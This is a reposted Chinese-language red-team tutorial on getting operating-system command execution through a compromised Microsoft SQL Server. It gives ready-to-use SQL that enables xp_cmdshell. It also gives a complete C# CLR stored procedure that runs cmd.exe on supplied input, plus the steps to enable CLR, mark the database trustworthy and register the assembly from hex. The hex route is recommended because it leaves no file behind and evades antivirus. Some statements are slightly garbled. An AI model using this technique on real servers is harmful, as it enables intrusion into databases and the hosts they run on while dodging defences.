xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。在数据库被入侵的情况下,该功能也经常被攻击者用来执行系统命令。
一般情况下,xp_cmdshell对管理员来说是非必要的,由于存在安全隐患,xp_cmdshell在sqlserver中默认是关闭的。
打开SSMS管理工具,连接SQL SERVER服务器,输入下面的脚本语句:
SELECT * FROM sys.configurations WHERE name='xp_cmdshell' OR name='show advanced options'
查看SQL中是否启用了xp_cmdshell,如果Enable or disable command shell的值为0,表示未启用xp_cmdshell。
使用SQL查询语句来开启用xp_cmdshell:
USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options', 0
RECONFIGURE WITH OVERRIDE
图形界面开启xp_cmdshell:
右键点击已连接的SQL服务器地址链接,选择“Facets”,点击方面后面的选择项。在弹出的选项中选择“外围应用配置器”。在下方的方面属性中找到XPCmdShellEnabled,将其值设置为True。
使用xp_cmdshell执行系统命令:
0x03 利用CLR技术执行系统命令
如果xp_cmdshell存储过程被删除,怎么办?那就注册一个可以实现命令执行的存储过程。
1、CLR 简介
CLR(公共语言运行时)提供了 .NET Framework 的代码执行环境,可以通过 .NET Framework 来编写存储过程、触发器等功能 。简单说,通过CLR能够在 SQLServer 中注册一套程序集,实现执行任意的 .NET 代码。既然可以执行代码,此时就可以实现很多功能。
2、编写存储过程替代xp_cmdshell
编写一个 CLR。在visual studio中创建一个SQLSever Database项目,然后在SQL CLR C#添加一个存储过程项目:
参照如下代码编写,即可简单实现通过cmd.exe来进行系统命令执行:
using System;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;public partial class StoredProcedures{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void CmdExec (String cmd){
SqlContext.Pipe.Send(Command("cmd.exe", " /c " + cmd));
}
public static string Command(string filename, string arguments){
var process = new Process();
process.StartInfo.FileName = filename;
if (!string.IsNullOrEmpty(arguments)){
process.StartInfo.Arguments = arguments;
}
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.RedirectStandardOutput = true;
var stdOutput = new StringBuilder();
process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
string stdError = null;
try{
process.Start();
process.BeginOutputReadLine();
stdError = process.StandardError.ReadToEnd();
process.WaitForExit();
}
catch (Exception e){
SqlContext.Pipe.Send(e.Message);
}
if (process.ExitCode == 0){
SqlContext.Pipe.Send(stdOutput.ToString());}
else{
var message = new StringBuilder();
if (!string.IsNullOrEmpty(stdError)){
message.AppendLine(stdError);}
if (stdOutput.Length != 0){
message.AppendLine(stdOutput.ToString());}
SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);}
return stdOutput.ToString();
}}
3、注册存储过程
将代码编译完成后,会生成一个DLL文件,需要将DLL文件注册进数据库。默认情况下,MSSQL的CLR是禁用的,因此首先需要开启CLR功能:
sp_configure 'clr enabled', 1
RECONFIGURE
当导入了不安全的程序集之后,需将数据库标记为可信任的,对于其他数据库需要执行如下语句,但对msdb不需要,默认msdb就是的可信任的。
ALTER DATABASE master SET TRUSTWORTHY ON;
接下来要进行注册。
方式一,无文件方式(推荐)
CLR注册DLL支持十六进制的方式,以这种方式不需要将 DLL 文件落地到目标机器上,实现了无文件落地,能够规避杀软。并且,在目标无法处出网的情况下,也能完成操作。这里是用的这种方法:
CREATE ASSEMBLY sp_cmdExec
FROM 0x4D5A90000300000004000000FFFF0000B800000000000....
WITH PERMISSION_SET = UNSAFE
GO
方式二,通过SSMS图形化界面注册
方式三,将文件落地目标机器上后进行注册
CREATE ASSEMBLY sp_cmdExec
FROM 'C:ProgramDataDatabase1.dll'
WITH PERMISSION_SET = UNSAFE
GO
注册完后,需创建存储过程,执行如下语句
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE
AS
CALLERASEXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec
此时就可以通过该存储过程进行系统命令的执行:
https://www.sohu.com/a/450442038_120634162
原文始发于微信公众号(红蓝攻防研究实验室):MSSQL的xp_cmdshell扩展被删除情况下的利用-CLR技术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论